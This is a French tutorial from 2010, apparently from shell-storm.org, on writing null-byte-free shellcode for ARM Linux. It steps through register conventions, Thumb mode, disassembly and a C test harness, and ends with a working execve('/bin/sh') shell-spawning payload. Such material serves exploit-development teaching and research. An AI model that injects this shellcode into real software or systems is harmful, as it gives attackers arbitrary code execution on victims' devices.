Title: How to create a shellcode on ARM architecture ?
Author: Jonathan Salwan <submit ! shell-storm.org>
Web: http://www.shell-storm.org/ | http://twitter.com/jonathansalwan
Date: 2010-06-30
Language: French
Original version: http://howto.shell-storm.org/files/howto-4.php
I - Présentation de l'architecture ARM
======================================
L'architecture ARM était initialement destinée à un ordinateur de la société Acorn,
puis elle a été complétée pour devenir une offre indépendante pour le marché de
l'électronique embarquée. ARM est l'acronyme de Advanced Risc Machine, précédemment
Acorn Risc Machine.
Le coeur le plus célèbre est l'ARM7TDMI qui comporte 3 niveaux de pipeline. De plus,
le ARM7TDMI dispose d'un second jeu d'instructions appelé THUMB permettant le
codage d'instructions sur 16 bits et, ainsi, de réaliser un gain de mémoire important,
notamment pour les applications embarquées. L'architecture ARM est également très
répandue dans la téléphonie mobile. De nombreux systèmes sont portés sur cette
architecture. À savoir Linux (qu'utilise notamment Maemo avec le N900 ou Android avec
le Nexus One), Symbian S60 avec les Nokia N97 ou Samsung Player HD, iPhone OS avec
l'iPhone et l'iPad, et Windows Mobile.
ARM Ltd a ensuite développé le coeur ARM9 qui comporte 5 niveaux de pipeline. Cela permet
ainsi la réduction du nombre d'opérations logiques sur chaque cycle d'horloge et donc une
amélioration des performances en vitesse.
II - Première approche d'un shellcode sous Linux/ARM
====================================================
Tout au long du document, nos tests seront effectués sur un processeur ARM926EJ-S.
Pour commencer, jetons un coup d'oeil sur la convention des registres.
Register Alt. Name Usage
r0 a1 First function argument Integer function result Scratch register
r1 a2 Second function argument Scratch register
r2 a3 Third function argument Scratch register
r3 a4 Fourth function argument Scratch register
r4 v1 Register variable
r5 v2 Register variable
r6 v3 Register variable
r7 v4 Register variable
r8 v5 Register variable
r9 v6
rfp Register variable Real frame pointer
r10 sl Stack limit
r11 fp Argument pointer
r12 ip Temporary workspace
r13 sp Stack pointer
r14 lr Link register Workspace
r15 pc Program counter
Donc les registres r0 à r3 seront destinés aux arguments placés dans nos fonctions.
Les registres r4 à r9 seront utilisés pour des variables diverses.
Cependant r7 est utilisé pour stocker l'adresse du syscall à exécuter.
r13 est le registre qui pointe sur la stack et r15 celui qui pointe sur la prochaine
adresse à exécuter.
Ces deux registres pourraient être comparés aux registres ESP et EIP sous x86, malgré
que l'exécution des registres entre x86 et ARM soit très différente.
Commençons par écrire un shellcode qui va appeler le syscall _write puis ensuite
_exit.
Pour commencer nous devons connaître l'adresse des syscall.
Pour cela, comme d'habitude :
root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_writev (__NR_SYSCALL_BASE+146)
#define __NR_pwrite64 (__NR_SYSCALL_BASE+181)
#define __NR_pciconfig_write (__NR_SYSCALL_BASE+273)
root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_exit_group (__NR_SYSCALL_BASE+248)
Ok, donc 4 pour _write et 1 pour _exit
Bilan :
On sait que la fonction write utilise 3 arguments: write(int __fd, __const void *__buf, size_t __n)
Donc, nous avons :
r0 => 1 (output)
r1 => shell-storm.org\n (string)
r2 => 16 (strlen(string))
r7 => 4 (syscall)
r0 => 0
r7 => 1
Voici ce que cela donne en asm:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
# _write()
mov r2, #16
mov r1, pc <= r1 = pc
add r1, #24 <= r1 = pc + 24 (ce qui va pointer sur notre string)
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write#
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0)
Jusqu'à maintenant, tout fonctionne correctement, cependant pour créer notre shellcode
nous ne devons pas utiliser de null bytes, et notre code en est pourtant blindé.
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e3a02010 mov r2, #16 ; 0x10
8058: e1a0100f mov r1, pc
805c: e2811018 add r1, r1, #24
8060: e3a00001 mov r0, #1 ; 0x1
8064: e3a07004 mov r7, #4 ; 0x4
8068: ef000000 svc 0x00000000
806c: e0400000 sub r0, r0, r0
8070: e3a07001 mov r7, #1 ; 0x1
8074: ef000000 svc 0x00000000
8078: 6c656873 stclvs 8, cr6, [r5], #-460
807c: 74732d6c ldrbtvc r2, [r3], #-3436
8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3}
8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0>
En ARM, il existe un mode appelé "Thumb Mode" qui permet de ramener toutes les instructions sur 16 bits
au lieu de 32, ce qui va nous faciliter la vie.
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #12
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
Pour la compilation, il faut utiliser "-mthumb" pour bien indiquer qu'on passe en "thumb mode".
Si vous regardez bien, dans le code asm, j'ai changé la valeur de r1 sur l'instruction add
au lieu d'avoir fait un "add r1, #24" , j'ai fais un "add r1, #12" car je suis passé en "thumb mode".
Du coup, l'adresse où est situé ma chaine est divisée par 2.
Regardons ce que cela donne au niveau des null bytes:
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310c adds r1, #12
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df00 svc 0
8068: 1a00 subs r0, r0, r0
806a: 2701 movs r7, #1
806c: df00 svc 0
806e: 6873 ldr r3, [r6, #4]
8070: 6c65 ldr r5, [r4, #68]
8072: 2d6c cmp r5, #108
8074: 7473 strb r3, [r6, #17]
8076: 726f strb r7, [r5, #9]
8078: 2e6d cmp r6, #109
807a: 726f strb r7, [r5, #9]
807c: 0a67 lsrs r7, r4, #9
C'est déjà un peu plus propre...
Il nous reste plus qu'à modifier l'instruction "svc 0" et "sub r0, r0, r0"
Pour SVC nous allons utiliser "svc 1" qui fonctionne parfaitement.
Pour "sub r0, r0, r0" le but est de placer 0 dans le registre r0, nous ne pouvons
pas faire un "mov r0, #0" car il contiendra aussi un null bytes.
Le seul moyen que j'ai trouvé est de faire un:
sub r4, r4, r4
mov r0, r4
Voici ce que cela donne:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #14 <==== Nous avons encore changé l'adresse, car dans exit() nous avons rajouté
mov r0, $0x1 des lignes d'instructions, donc cela décale la string.
mov r7, $0x4
svc 1
# _exit()
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0) = ?
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1 ; 0x1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310e adds r1, #14
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df01 svc 1
8068: 1b24 subs r4, r4, r4
806a: 1c20 adds r0, r4, #0
806c: 2701 movs r7, #1
806e: df01 svc 1
8070: 6873 ldr r3, [r6, #4]
8072: 6c65 ldr r5, [r4, #68]
8074: 2d6c cmp r5, #108
8076: 7473 strb r3, [r6, #17]
8078: 726f strb r7, [r5, #9]
807a: 2e6d cmp r6, #109
807c: 726f strb r7, [r5, #9]
807e: 0a67 lsrs r7, r4, #9
Et bien voilà, nous avons un shellcode opérationnel sans aucun null bytes
En C, cela donne:
root@ARM9:/home/jonathan/shellcode/write/C# cat write.c
#include <stdio.h>
char *SC = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x10\x22"
"\x79\x46"
"\x0e\x31"
"\x01\x20"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x73\x68"
"\x65\x6c"
"\x6c\x2d"
"\x73\x74"
"\x6f\x72"
"\x6d\x2e"
"\x6f\x72"
"\x67\x0a";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
write.c: In function 'main':
write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
root@ARM9:/home/jonathan/shellcode/write/C# ./write
Length: 44
shell-storm.org
III - execv("/bin/sh", "/bin/sh", 0)
====================================
Maintenant, étudions un shellcode qui appelle execve()
La structure du code devrait avoir cette forme:
r0 => "//bin/sh"
r1 => "//bin/sh"
r2 => 0
r7 => 11
root@ARM9:/home/jonathan/shellcode/shell# cat shell.s
.section .text
.global _start
_start:
.code 32 //
add r3, pc, #1 // Toute cette section est pour le "Thumb Mode"
bx r3 //
.code 16 //
mov r0, pc // On place l'adresse de pc dans r0
add r0, #10 // et on y rajoute + 10 (qui va donc pointer sur //bin/sh)
str r0, [sp, #4] // ensuite on place cela sur la stack (pour le cas où on doit le réutiliser)
add r1, sp, #4 // on reprend ce qu'on à placer sur la stack pour le mettre dans r1
sub r2, r2, r2 // ou soustrait r2 par lui même (ce qui revient à mettre 0 dans r2)
mov r7, #11 // syscall execve dans r7
svc 1 // on exécute
.ascii "//bin/sh"
root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
root@ARM9:/home/jonathan/shellcode/shell# ./shell
# exit
root@ARM9:/home/jonathan/shellcode/shell#
On peut même vérifier que le shellcode ne contient aucun null bytes.
8054: e28f3001 add r3, pc, #1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
Et voilà, c'est la fin de ce "howto", pour retrouver des shellcodes sous ARM
voir le lien suivant: http://www.shell-storm.org/search/index.php?shellcode=arm
IV - Références
===============
[x] http://www.shell-storm.org
[1] http://fr.wikipedia.org/wiki/Architecture_ARM
[2] http://nibbles.tuxfamily.org/?p=620
[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)
[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)